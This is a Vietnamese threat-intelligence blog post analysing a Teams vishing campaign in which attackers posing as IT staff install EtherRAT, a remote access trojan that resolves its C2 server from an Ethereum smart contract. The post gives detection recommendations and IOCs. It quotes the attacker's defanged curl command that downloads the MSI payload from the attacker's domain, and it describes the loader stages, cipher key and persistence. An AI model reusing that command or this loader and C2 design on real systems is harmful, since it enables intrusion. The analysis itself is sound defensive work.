Skip to main content

Command Palette

Search for a command to run...

Microsoft Teams Vishing : Giả làm IT để chiếm quyền máy tính

Updated
15 min readView as Markdown
Microsoft Teams Vishing : Giả làm IT để chiếm quyền máy tính

Tổng quan

Một chiến dịch vô cùng tinh vi vừa được phát hiện trong đó kẻ tấn công giả danh "System Administrator" gọi vào Microsoft Teams của nạn nhân để dụ cài EtherRAT, một remote access trojan lấy địa chỉ máy chủ điều khiển (C2) từ một smart contract trên blockchain Ethereum thay vì domain hay IP cố định. Điểm khiến vụ này đáng chú ý hơn một vụ vishing thông thường: EtherRAT không phải cái tên mới, nó từng xuất hiện bảy tháng trước trong một chiến dịch bị nghi liên quan tới Triều Tiên, khai thác lỗ hổng React2Shell trên máy chủ Linux để chiếm quyền các ứng dụng React/Next.js.

Nói cách khác, cùng một họ RAT từng được dùng cho khai thác lỗ hổng máy chủ ở quy mô espionage, nay xuất hiện trở lại trong một chiến dịch vishing nhắm thẳng vào nhân viên văn phòng, đi theo gần như đúng khuôn mẫu email bombing/Teams vishing/Quick Assist mà các affiliate xuất thân Black Basta đã phổ biến hoá suốt hai năm qua.

Do dùng smart contract để phân giải địa chỉ C2, việc chặn theo domain hay IP gần như vô nghĩa vì địa chỉ có thể đổi bất cứ lúc nào mà không cần thay đổi bất kỳ thứ gì trên endpoint nạn nhân. Hành động ưu tiên ngay lập tức: chặn domain phát tán camorreado[.]click và fallback C2 necropatia[.]com ở proxy, đồng thời rà soát log Teams tìm tài khoản external mang display name "System Administrator" hoặc tương tự nhắm vào nhân viên vừa mở file đính kèm PDF gần đây.

Hình 0. Kill chain EtherRAT qua Teams vishing: từ email mồi đến blockchain C2

Attack flow diagram showing EtherRAT campaign progression from email to Teams vishing to payload delivery and EtherHiding C2 resolution

Luồng tấn công bắt đầu với email phishing mồi "Employee Survey", nạn nhân nhận cuộc gọi Teams từ tenant external (Progressive936.onmicrosoft.com), kẻ tấn công chiếm quyền điều khiển máy qua tính năng give/request control của Teams, tải và thực thi MSI loader từ camorreado[.]click, sau đó load Node.js, giải mã multi-stage payload, khởi động EtherRAT, và cuối cùng truy vấn smart contract Ethereum để phân giải C2 hiện hành. Đặc điểm nổi bật: không có bước email bombing tạo áp lực tâm lý như Nimbus RAT, chỉ cần một email mồi đơn để khích hoạt cuộc gọi vishing. C2 sử dụng blockchain giúp tránh detection dựa trên domain/IP tĩnh.

Chuỗi tấn công chi tiết

Giai đoạn 1: Email mồi "Employee Survey" và PDF khởi động cuộc gọi

Chuỗi tấn công bắt đầu bằng một email HTML với tiêu đề "Employee Survey results", đính kèm file PDF tên "EE Survey - How to log on.pdf". Nạn nhân mở file này bằng Adobe Acrobat Reader. Ngay sau đó, nạn nhân nhận một cuộc gọi Microsoft Teams từ một tài khoản external, hiển thị tên "System Administrator". Khác với vụ Nimbus RAT dùng email bombing để tạo áp lực tâm lý, ở đây chỉ cần một email mồi đơn lẻ đã đủ để dẫn tới cuộc gọi, cho thấy không phải mọi biến thể của playbook Teams-vishing đều cần giai đoạn làm ngợp hộp thư.

Email mồi với subject "Employee Survey results" chứa file PDF "EE Survey - How to log on.pdf". Chiến lược này khai thác tâm lý nhân viên bằng cách bề ngoài trông giống khảo sát thường xuyên từ phòng nhân sự, một loại communication mà nhân viên hiếm khi nghi ngờ. PDF attachment tăng tính tin tưởng bằng cách giả vờ "cung cấp hướng dẫn login", khiến nạn nhân dễ mở hơn. Khi nạn nhân mở PDF trong Adobe Acrobat Reader, kẻ tấn công có được tín hiệu nạn nhân đã "engaged" (có thể qua tracking pixel hoặc timing inference) và bắt đầu cuộc gọi Teams vào ngay lúc đó, khi nạn nhân còn trong tâm lý "đang xử lý communication từ công ty".

Giai đoạn 2: Vishing từ tenant "External unfamiliar" và chiếm quyền điều khiển qua chính tính năng Teams

Log phiên của nạn nhân ghi nhận tiêu đề "System Administrator (External unfamiliar) | Microsoft Teams". Nhãn "External unfamiliar" xuất hiện khi trò chuyện với người ngoài tổ chức, chưa có quan hệ tin cậy nào được thiết lập trước đó. Audit log Teams xác nhận kẻ tấn công khởi tạo cuộc trò chuyện cross-tenant từ tài khoản helpdesk@Progressive936.onmicrosoft[.]com, tenant ID 310e9ead-4f6f-491e-aafe-feb08c8d17a4.

Khác với vụ Nimbus RAT dùng Quick Assist làm công cụ điều khiển từ xa, ở vụ này kẻ tấn công dùng ngay tính năng give/request control có sẵn trong Teams. Bằng chứng forensic then chốt là artifact "CtrlVirtualCursorWin_000001E8A159B970", được tạo ra khi tính năng screen-control của Teams chặn chuyển động chuột của người điều khiển và inject vào máy bị điều khiển qua một con trỏ ảo. Sự tồn tại của artifact này xác nhận kẻ tấn công đang chủ động điều khiển máy nạn nhân trong suốt phiên, chứ không phải nạn nhân tự thao tác theo hướng dẫn bằng lời.

Dưới quyền điều khiển đó, kẻ tấn công hướng dẫn nạn nhân duyệt và tải về hai công cụ RMM hợp pháp, HopToDesk và AnyDesk, qua trình duyệt Microsoft Edge, nhiều khả năng nhằm thiết lập một kênh truy cập từ xa độc lập với phiên Teams, không phụ thuộc vào việc nạn nhân có đóng cuộc gọi hay không.

Kẻ tấn công không chỉ trò chuyện hay hướng dẫn qua lời nói, mà trực tiếp điều khiển máy nạn nhân bằng cách dùng tính năng give/request control của Teams. Khi điều khiển được cấp, Teams tạo ra một con trỏ ảo (virtual cursor) để chặn chuyển động chuột của kẻ tấn công và inject vào máy nạn nhân. Bằng chứng forensic ghi nhận artifact CtrlVirtualCursorWin_000001E8A159B970, xác nhận rằng một bên external đang thực sự điều khiển, không phải nạn nhân tự thao tác theo hướng dẫn. Dưới quyền điều khiển đó, kẻ tấn công hướng dẫn nạn nhân cài HopToDesk/AnyDesk để thiết lập kênh truy cập từ xa bổ sung, độc lập với phiên Teams. Sau đó, tải v7.msi từ camorreado[.]click qua curl.exe, cài đặt MSI, khích hoạt multi-stage loader JavaScript/Node.js, cuối cùng load EtherRAT. Toàn bộ giao tiếp diễn ra qua Teams, platform mà nạn nhân tin tưởng hơn email phishing thông thường.

Giai đoạn 3: Tải và thực thi MSI độc hại qua curl

Kẻ tấn công mở Command Prompt và chạy curl -Lo C:\Users\{REDACTED}\AppData\Local\Temp\v7.msi hxxps[:]//camorreado[.]click/v7.msi. Việc dùng curl.exe có sẵn trong Windows thay vì trình duyệt để tải payload giúp hành động này ít để lại dấu vết trong lịch sử duyệt web hơn, đồng thời phù hợp tự nhiên với bối cảnh "kỹ thuật viên đang chạy lệnh sửa lỗi" mà nạn nhân đang chứng kiến qua màn hình chia sẻ.

Trong lúc vẫn giữ quyền điều khiển máy, kẻ tấn công còn truy cập cổng ServiceNow nội bộ của tổ chức nạn nhân và tạo một ticket hỗ trợ mới, xin quyền truy cập một số ứng dụng và thông tin. Đây là chi tiết đáng chú ý nhất về mặt hành vi: thay vì chỉ dừng ở việc cài RAT rồi rời đi, operator tận dụng ngay phiên truy cập để mở rộng dấu chân hợp pháp của mình trong hệ thống ticket nội bộ, một hành động có thể qua mặt cả nhân viên IT thật nếu ticket trông đủ hợp lý.

Giai đoạn 4: Chuỗi loader nhiều tầng ẩn trong file MSI

File v7.msi là một Windows Installer viết bằng JavaScript, khi cài đặt sẽ giải nén ba file vào thư mục local application data: một batch script (R2YxSP2m.cmd), một JavaScript loader đã obfuscate (z0SYYdWk9g.dat), và một blob nhị phân đã mã hoá (eXYlcnebRLrWyBc.ini). Một CustomAction trong MSI kích hoạt ngay khi cài đặt, chạy conhost --headless cmd /c "R2YxSP2m.cmd".

Batch script này tải một bản Node.js v18.20.5 hợp pháp trực tiếp từ nodejs.org, giải nén và đổi tên thư mục thành 1DIZ0D, rồi dùng chính runtime Node.js đó (thay vì đóng gói sẵn như nhiều RAT khác) để chạy JavaScript loader dưới chế độ conhost ẩn. Việc tải Node.js từ nguồn chính chủ thay vì đóng gói sẵn trong payload là một lựa chọn tradecraft có chủ đích: giảm kích thước payload ban đầu, và traffic tải về trông giống một lượt cài đặt Node.js thông thường hơn là hành vi malware.

Loader JavaScript giải mã dữ liệu hex-encoded bằng một subtraction cipher với khoá 24 byte cố định, sinh ra một loader giai đoạn hai. Loader giai đoạn hai này tiếp tục giải mã file eXYlcnebRLrWyBc.ini qua một chuỗi cipher nhiều bước để cuối cùng thu được payload EtherRAT.

Stage 1: MSI CustomAction chạy batch script R2YxSP2m.cmd → tải Node.js v18.20.5 từ nodejs.org (trông như hành vi IT bình thường, không phải bundled malware) → đổi tên thư mục thành 1DIZ0D → chạy conhost --headless node.exe để execute z0SYYdWk9g.dat

Stage 2: JavaScript loader (z0SYYdWk9g.dat) giải mã hex-encoded data bằng subtraction cipher với khoá cố định 24 byte (94ea2ff910a28771f74c2759132ce77d0eb231e3aa1900e1) → sinh ra loader giai đoạn hai

Stage 3: Loader giai đoạn hai giải mã blob nhị phân eXYlcnebRLrWyBc.ini qua chuỗi AES-256-CBC cipher nhiều bước → thu được EtherRAT payload

Stage 4: EtherRAT payload chạy, persist qua registry Run key OneDriveSetup, truy vấn Ethereum smart contract để lấy C2 URL, bắt đầu beacon

Thiết kế này có nhiều lợi thế: (1) tải Node.js từ nguồn chính thức giúp bypass scanner, (2) múi lớp mã hoá AES-256-CBC làm chậm phân tích tĩnh, (3) payload chủ yếu chạy in-memory, không để file binary trên đĩa cho đến bước cuối cùng.

Bên trong EtherRAT: C2 qua smart contract Ethereum

Payload cuối cùng là một bot C2 "neo" trên blockchain. Thay vì hardcode một địa chỉ máy chủ có thể bị chặn hoặc seize, EtherRAT truy vấn một smart contract Ethereum (0x6e044e19000487c4a6e6af15b4132a5561b5ee1f, cùng một contract phụ trợ khác dùng để hosting) để lấy URL C2 hiện hành, kèm theo một fallback domain hardcode là necropatia[.]com phòng trường hợp không truy vấn được blockchain. Persistence được thiết lập đơn giản qua registry Run key Software\Microsoft\Windows\CurrentVersion\Run\OneDriveSetup, một tên khoá cố ý gây nhầm lẫn với tiến trình đồng bộ OneDrive hợp pháp.

Hình 1a. EtherHiding: truy vấn Ethereum smart contract để phân giải C2

EtherRAT querying RPC endpoints to retrieve C2 address from smart contract

Thay vì kết nối trực tiếp tới domain hay IP cố định, EtherRAT truy vấn smart contract 0x6e044e19000487c4a6e6af15b4132a5561b5ee1f để lấy URL C2 hiện tại. Để chống lại việc một RPC endpoint bị poisoned, malware gọi song song tới 9 RPC endpoint công khai khác nhau (Cloudflare, PublicNode, Flashbots, Llamarpc, Tenderly, Blastapi, Payload, Merkle, Drpc) và chỉ chấp nhận URL do đa số endpoint xác nhận (consensus voting). Cơ chế này làm cho việc sinkhole một RPC node đơn lẻ trở nên vô dụng.

Hình 1b. Lịch sử C2 address trên EtherScan: threat actors rotate C2 via setString

EtherScan.io transaction history showing setString calls to update C2 addresses in smart contract

Mỗi khoảng 500 mili-giây, EtherRAT gửi một beacon tới C2, nhưng "nguỵ trang" nó thành request tới file tĩnh (.png, .jpg, .css, .ico, .webp) với random 8-hex directory + UUID + random query parameter, để trông giống traffic CDN bình thường. Threat actors không cần recompile hay redeploy malware để đổi C2 — chỉ cần gửi một transaction Ethereum để update giá trị trong smart contract, tất cả infected host sẽ tự động resolve tới C2 mới. Điều này khiến việc chặn dựa trên network signature hoặc domain blocklist gần như vô nghĩa.

Kỹ thuật lấy C2 từ smart contract, gọi là EtherHiding, không phải phát minh riêng của mẫu này. Biến thể EtherRAT mà Sysdig phân tích trên Linux hồi tháng 12/2025 dùng cơ chế phức tạp hơn: truy vấn song song chín RPC endpoint Ethereum công khai (bao gồm Cloudflare, Flashbots, PublicNode) và chỉ chấp nhận URL được đa số endpoint đồng thuận trả về, đồng thời nguỵ trang traffic polling C2 mỗi 500 mili-giây dưới dạng request tới file tĩnh kiểu .png hay .css. Báo cáo của Unit 42 về mẫu Windows lần này không mô tả cùng mức độ chi tiết cho cơ chế consensus multi-RPC, nhưng xác nhận cùng nguyên lý cốt lõi: địa chỉ C2 nằm trên blockchain, không nằm trong binary hay DNS.

Điểm chung giữa hai biến thể quan trọng hơn khác biệt kỹ thuật cụ thể: dù chạy trên Linux qua khai thác lỗ hổng máy chủ hay chạy trên Windows qua vishing người dùng cuối, một khi C2 đã được neo vào blockchain, việc gỡ bỏ hạ tầng đòi hỏi phải tương tác với chính smart contract đó, một việc nằm ngoài khả năng của hầu hết đội network defense truyền thống chỉ quen thao tác với DNS sinkhole hay IP blocklist.

Đáng chú ý thêm, Unit 42 phát hiện một open directory trên chính domain phát tán camorreado[.]click, chứa các phiên bản EtherRAT từ v1 đến v9, cập nhật lần cuối ngày 26/6/2026, tức chỉ hai ngày trước khi chiến dịch được công bố. Việc để lộ một dải version dài như vậy trên một thư mục mở cho thấy công cụ này đang được phát triển tích cực và khả năng cao được dùng cho nhiều chiến dịch song song, không chỉ riêng vụ việc Unit 42 quan sát được.

Khuyến nghị

  • Chặn ở proxy/firewall: camorreado[.]click và necropatia[.]com

  • Rà soát Teams audit log tìm phiên chat/call mang nhãn "External unfamiliar" có artifact CtrlVirtualCursorWin_ trong 30 ngày gần nhất

  • Kiểm tra registry trên các endpoint nghi ngờ để tìm khoá Run\OneDriveSetup không trỏ tới trình cài đặt OneDrive hợp lệ

  • Deploy detection rule correlate cmd.exe → curl.exe tải file .msi trong cửa sổ ngắn sau một phiên Teams external có remote control

  • Đưa node.exe chạy từ thư mục ngoài danh sách ứng dụng nội bộ đã biết, kết nối tới RPC endpoint blockchain công khai, vào watchlist ưu tiên cao

  • Rà soát ticket ServiceNow (hoặc hệ thống ITSM tương đương) được tạo trong hoặc ngay sau các phiên Quick Assist/Teams remote-control bất thường đã ghi nhận

  • Vô hiệu hoá hoặc giới hạn nghiêm ngặt tính năng give/request control trong Teams cho tài khoản external, không chỉ riêng Quick Assist

  • Xây dựng năng lực giám sát traffic tới các RPC endpoint blockchain công khai (Cloudflare, PublicNode, Infura...) như một category riêng trong network monitoring, vì kỹ thuật EtherHiding nhiều khả năng sẽ tiếp tục xuất hiện ở các malware family khác ngoài EtherRAT

  • Thiết lập correlation pipeline nối Teams audit log, endpoint telemetry, và log hệ thống ITSM nội bộ, để phát hiện các bước hậu xâm nhập như tạo ticket giả mạo

  • Theo dõi cập nhật của Microsoft về các cụm Storm-1811, Storm-2372, Storm-0324, Storm-1674, Sangria Tempest, vì đây là các cluster đang tích cực dùng chung kill chain Teams-vishing và có thể tiếp tục đổi payload

Indicators of Compromise

# File Hash — SHA256
fc2907fa866f86e0821f75060a331ce69ee10ff3aa374587993b17ba5406fa33   # v7.msi (loader chính)
c2eeb74892408496f5a307a5b1fdc92d94fd014ab4252868f04046bf84718ab6   # stage2_payload1.cmd
94cb54d53927e4ba469099760db531be563a84d716df69e864062d90f0f2448d   # stage2_payload2.js
0cb2f7651d50e1ed1a691e82f0297d49444bdded2461e136cffb156d4f234e52   # stage2_payload3.dat
d46b4e8d188fe1773c44d38d730dcb6287639568240c765d9ad4ad79cd239e82   # stage3_payload1.js
c16784e2c7b3e3b798addd718850da18f8eb532ab8f352c769a4470d7124805d   # stage4_payload1.js

# Domain (defanged)
camorreado[.]click   # Phân phối malware, open directory chứa EtherRAT v1-v9
necropatia[.]com     # Fallback C2 khi không truy vấn được smart contract

# Teams attacker tenant
helpdesk@Progressive936.onmicrosoft[.]com   # Tài khoản gọi vishing, display name "System Administrator"
Progressive936.onmicrosoft[.]com            # Domain gửi của tenant kẻ tấn công
310e9ead-4f6f-491e-aafe-feb08c8d17a4        # Tenant ID của kẻ tấn công

# Ethereum smart contract
0x6e044e19000487c4a6e6af15b4132a5561b5ee1f   # Contract chính, dùng để phân giải URL C2
0x788a5336c0ef70be87619a3c13a43050c426f7ec   # Contract phụ trợ hosting

# C2 URL đã resolve từ smart contract (defanged)
hxxps[:]//seconds.australiaeast.cloudapp.azure[.]com
hxxps[:]//resurce.swedencentral.cloudapp.azure[.]com
hxxps[:]//cover.wedencentral.cloudapp.azure[.]com
hxxps[:]//dns1.southafricanorth.cloudapp.azure[.]com

# Host artifact
Software\Microsoft\Windows\CurrentVersion\Run\OneDriveSetup   # Registry Run key persistence
CtrlVirtualCursorWin_000001E8A159B970                         # Artifact xác nhận Teams remote-control thật sự diễn ra

# Behavioral IOC
Phiên Teams "External unfamiliar" có artifact CtrlVirtualCursorWin_, theo sau bởi việc cài
HopToDesk/AnyDesk và một lệnh curl.exe tải file .msi trong cùng phiên làm việc

Node.js chạy từ thư mục cài đặt tạm thời, kết nối liên tục tới nhiều RPC endpoint
blockchain công khai khác nhau trong thời gian ngắn (dấu hiệu truy vấn consensus)

Nguồn tham khảo:

More from this blog

F

FPT IS Security

891 posts

Dedicated to providing insightful articles on cybersecurity threat intelligence, aimed at empowering individuals and organizations to navigate the digital landscape safely.